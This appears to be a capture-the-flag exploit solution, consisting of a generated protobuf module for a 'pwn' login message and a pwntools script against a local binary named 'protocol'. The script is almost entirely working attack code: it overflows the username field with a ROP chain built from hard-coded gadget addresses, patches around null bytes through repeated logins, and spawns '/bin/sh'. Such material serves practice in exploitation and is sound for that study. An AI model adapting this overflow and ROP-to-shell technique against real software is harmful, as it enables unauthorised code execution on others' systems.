1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124
|
from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor.FileDescriptor( name='ctf.proto', package='ctf', syntax='proto2', serialized_options=None, create_key=_descriptor._internal_create_key, serialized_pb=b'\n\tctf.proto\x12\x03\x63tf\")\n\x03pwn\x12\x10\n\x08username\x18\x01 \x01(\x0c\x12\x10\n\x08password\x18\x02 \x01(\x0c' )
_PWN = _descriptor.Descriptor( name='pwn', full_name='ctf.pwn', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='username', full_name='ctf.pwn.username', index=0, number=1, type=12, cpp_type=9, label=1, has_default_value=False, default_value=b"", message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='password', full_name='ctf.pwn.password', index=1, number=2, type=12, cpp_type=9, label=1, has_default_value=False, default_value=b"", message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=18, serialized_end=59, )
DESCRIPTOR.message_types_by_name['pwn'] = _PWN _sym_db.RegisterFileDescriptor(DESCRIPTOR)
pwn = _reflection.GeneratedProtocolMessageType('pwn', (_message.Message,), { 'DESCRIPTOR' : _PWN, '__module__' : 'ctf_pb2' }) _sym_db.RegisterMessage(pwn)
import ctf_pb2 from pwn import * context(os = "linux", arch = "amd64", log_level = "debug") context.terminal = ['tmux','splitw','-h'] io = process("./protocol")
def debug(): gdb.attach(proc.pidof(io)[0],gdbscript="b *0x407643") pause() zero_list = []
def gen(username, password): result = ctf_pb2.pwn() result.username = username result.password = password return result.SerializeToString()
pop_rax_ret = 0x5bdb8a pop_rdi_ret = 0x404982 pop_rsi_ret = 0x588bbe pop_rdx_ret = 0x40454f syscall_ret = 0x68f0a4 bin_sh_addr = 0x81A380
payload = b'a'*0x148 + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(bin_sh_addr) + p64(pop_rdx_ret) + p64(0x10) + p64(pop_rax_ret) + p64(0) + p64(syscall_ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(pop_rax_ret) + p64(59) + p64(syscall_ret)
for i in range(len(payload)) : if payload[i] == 0 : zero_list.append(i) payload = payload[0:i] + b'\x0a' + payload[i+1:]
zero_list = zero_list[::-1]
login = gen(payload, b'admin') io.sendafter("Login: ", login) debug() for i in zero_list : payload = payload[0:i] login = gen(payload, b'admin') io.sendafter("Login: ", login) debug() login = gen(b'admin', b'admin') io.sendafter("Login: ", login) io.send(b'/bin/sh\x00') io.interactive()
|